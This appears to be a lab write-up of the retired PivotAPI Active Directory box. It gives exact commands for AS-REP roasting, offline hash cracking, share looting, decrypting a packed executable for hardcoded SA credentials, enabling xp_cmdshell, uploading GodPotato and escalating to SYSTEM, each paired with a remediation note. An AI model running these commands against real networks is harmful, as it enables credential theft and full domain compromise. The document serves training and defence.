PivotAPI
Summary
Target PivotAPI ($TARGET) runs a Windows Active Directory environment (LicorDeBellota.htb) and was fully compromised through a five-stage chain. Anonymous FTP access exposed academic PDFs whose embedded document metadata disclosed internal domain usernames.
One account (Kaorz) had Kerberos pre-authentication disabled, yielding a crackable AS-REP hash that provided the first authenticated foothold. With those credentials the NETLOGON share was accessed, revealing a compiled help-desk executable that — after reverse engineering — yielded hardcoded SQL Server SA credentials left over from a service migration.
Those credentials gave direct MSSQL access with xp_cmdshell enabled, providing OS command execution as the MSSQL service account. That account held SeImpersonatePrivilege; GodPotato exploited this to impersonate NT AUTHORITY\SYSTEM, completing full control of the host and domain.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for Kaorz>"Attack path — how the box was taken
Exact commands 4
Map the domain name to the target IP for later Kerberos/LDAP use.
$ echo "$TARGET LicorDeBellota.htb" | sudo tee -a /etc/hostsRecursively download all anonymous FTP share contents.
$ wget -r -np -nH --user=anonymous --password=anonymous ftp://$TARGET/Extract embedded document metadata from every downloaded PDF to surface AD account names.
$ exiftool *.pdf | grep -iE 'Author|Creator'Build a wordlist from the harvested usernames for AS-REP roasting.
$ printf 'alex\nKaorz\nbyron.gronseth\n' > users.txtFixDisable anonymous FTP and strip document metadata before publishing filesMedium
Exact commands 3
Request AS-REP tickets for all harvested usernames; only accounts with pre-auth disabled return a crackable hash.
$ impacket-GetNPUsers 'LicorDeBellota.htb/' -usersfile users.txt -no-pass -dc-ip $TARGET -request -format hashcat -outputfile ftp_meta.asrepCrack the krb5asrep$23 hash offline. Run --show after completion to read the cleartext.
$ hashcat -m 18200 ftp_meta.asrep /usr/share/wordlists/rockyou.txt --forceConfirm the recovered credential authenticates over SMB.
$ nxc smb $TARGET -d LicorDeBellota.htb -u Kaorz -p "$PASSWORD3"FixEnforce Kerberos pre-authentication on all domain accountsHigh
Exact commands 2
Recursively download all NETLOGON share contents.
$ smbclient //$TARGET/NETLOGON -U "LicorDeBellota.htb/Kaorz%$PASSWORD3" -c 'recurse ON; prompt OFF; mget *'Identify Bat-To-Exe Converter markers to determine the packer scheme and key material.
$ strings Restart-OracleService.exe | grep -iE 'b2e|fichero|bat'FixRemove executables, scripts, and credential-bearing artifacts from SYSVOL and NETLOGON sharesHigh
Exact commands 4
Extract the RCDATA resource (type 10) and RC4-decrypt it with the MD5 of 'fichero.bat' as the key. Requires pefile and pycryptodome.
$ python3 -c "import hashlib, pefile; from Crypto.Cipher import ARC4; pe = pefile.PE('Restart-OracleService.exe'); key = hashlib.md5(b'fichero.bat').digest(); [open('decoded.bat','wb').write(ARC4.new(key).decrypt(pe.get_data(l.data.struct.OffsetToData, l.data.struct.Size))) for r in pe.DIRECTORY_ENTRY_RESOURCE.entries for s in r.directory.entries for l in s.directory.entries if r.id == 10]"Concatenate and base64-decode chunked echo lines from the batch script to rebuild the stage-2 PE.
$ awk '/^echo [A-Za-z0-9+/=]+/{printf "%s",$2}' decoded.bat | base64 -d > restart-service.exeExtract readable strings from the stage-2 binary to locate the embedded SA credential.
$ strings restart-service.exe | grep -iE '#|mssql|s3rV|pass'Disassemble if strings output is ambiguous and confirm how the credential is used at runtime.
$ objdump -d -M intel restart-service.exe | head -300FixEliminate hardcoded credentials from all executables, scripts, and compiled artifactsCritical
Exact commands 3
Connect to MSSQL as the SA account.
$ impacket-mssqlclient "sa:$PASSWORD2@$TARGET"Enable xp_cmdshell if needed and confirm which Windows account the MSSQL service runs as.
$ printf '%s\n' "EXEC sp_configure 'show advanced options',1; RECONFIGURE;" "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;" "xp_cmdshell whoami" exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"Confirm SeImpersonatePrivilege is listed as Enabled on the service account.
$ printf '%s\n' 'xp_cmdshell whoami /priv' exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"FixDisable the SA account and xp_cmdshell, and restrict SQL Server network exposureCritical
Exact commands 5
Download GodPotato for .NET 4 to my machine.
$ wget -q https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe -O /tmp/GodPotato-NET4.exeGenerate xp_cmdshell echo commands to transfer GodPotato as chunked base64 — each line writes one 7000-char block to C:\Windows\Temp\gp.b64 on the target.
$ base64 -w0 /tmp/GodPotato-NET4.exe | fold -w 7000 | awk 'NR==1{op=">"} NR>1{op=">>"} {print "xp_cmdshell echo "$0 op "C:\\Windows\\Temp\\gp.b64"}' > /tmp/gp_upload.sqlExecute all upload commands through the SA MSSQL session to write the base64 file to the target.
$ cat /tmp/gp_upload.sql | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"Decode the base64 blob on the target to reconstruct the GodPotato executable.
$ printf '%s\n' 'xp_cmdshell certutil -decode C:\Windows\Temp\gp.b64 C:\Windows\Temp\GodPotato-NET4.exe' exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"Confirm execution context is NT AUTHORITY\SYSTEM.
$ printf '%s\n' 'xp_cmdshell C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c whoami"' exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"
NT AUTHORITY\SYSTEMFixRemove SeImpersonatePrivilege from service accounts that do not require itCritical
Exact commands 2
Read the user flag; expected output: <user.txt>.
$ printf '%s\n' 'xp_cmdshell C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\3v4Si0N\Desktop\user.txt"' exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"Read the root flag; expected output: <root.txt>.
$ printf '%s\n' 'xp_cmdshell C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\cybervaca\Desktop\root.txt"' exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"Attack patterns used
The transferable techniques behind this compromise.
AS-REP RoastingActive Directory · KerberosT1558.004
What it is
Accounts with 'Do not require Kerberos pre-authentication' set will return an AS-REP whose encrypted portion is derived from the user's password — to anyone who asks, without credentials. Tools like GetNPUsers.py collect these AS-REP blobs and they are cracked offline with hashcat (mode 18200) to recover the plaintext password.
Why it works
Pre-authentication exists precisely to stop this offline-crackable material from being handed out; disabling it (often for legacy app compatibility) reopens the hole. Detect by auditing the DONT_REQ_PREAUTH UAC flag; remediate by removing it and enforcing strong passwords.
Read more
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.